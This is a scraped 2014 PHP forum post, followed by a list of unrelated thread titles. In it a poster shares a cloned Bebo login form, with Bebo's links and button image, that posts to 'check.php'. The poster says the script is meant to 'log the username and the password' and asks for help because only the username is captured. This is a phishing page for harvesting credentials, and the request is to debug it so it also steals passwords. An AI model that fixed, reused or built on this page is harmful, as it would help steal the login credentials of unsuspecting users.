PHP Logging Error
Posted on
16th Feb 2014 07:03 pm by
admin
When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :|
Code: [Select]
<!-- Begin Login Form -->
<div id="login-box">
<a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
<h2>Login</h2>
<form id="login-form" action="check.php" method="post">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
<td>
<input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
<input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
</td>
</tr>
<tr>
<td colspan="2" id="remember-field">
<input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
<input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
<label for="RememberMe">Automagically for 2 weeks</label>
</td>
</tr>
</tbody>
</table>
</form>
<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
emptyUsernameText = $('username').value;
$('username').addEvent('focus', function(event) {
if(emptyUsernameText==this.value)
this.value = "";
});
$('username').addEvent('blur', function(event) {
if(this.value.trim()=="")
this.value = emptyUsernameText;
});
$('passwordHolder').addEvent('focus',function(event) {
this.setStyle('display','none');
$('password').setStyle('display','inline');
$('password').focus();
});
$('password').addEvent('blur',function(event) {
if(this.value.trim() == "") {
this.setStyle('display','none');
$('passwordHolder').setStyle('display','inline');
}
});
}
</script>
<div id="login-links">
<span id="more-info"></span>
<span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
</div>
</div>
<!-- End Login Form -->
184
6
Other php-forum
Variable passed to each() is not an array or object
Hi,
This is a email a friend type of form, and it isn't working anymore.
<?
How to make a mail Form secure?
I want to create an email Form on my web site. How can I make the Form secure so the submitted info
values in array being escaped
I would like to submit some values - back to the same form for checking before processing...
need help with mail()
hi i want to send an email with attaching pdf file using php. i have the following script but the pr
How to extract/download content from HTTPS page?
Hello to all the Members of this forum, Im Shoiab, A novice programmer in php.. for my first job I h
ereg_replace issue
hi there people
i have this code happening with regards to my wamp server. is this something
Losing 'page' data
I have this code that allows me to update my database. But after updating, I lose the $_GET['page']
search function
HI guys,
if anyone could point us in the right direction of how to do this, or provide some t
How to get variable value on next page
Hello friends
i am working on payentry page ..there i have this code.........
question about header() security
is is safe to just use the header() function to redirect someone if they are, say, not logged in? or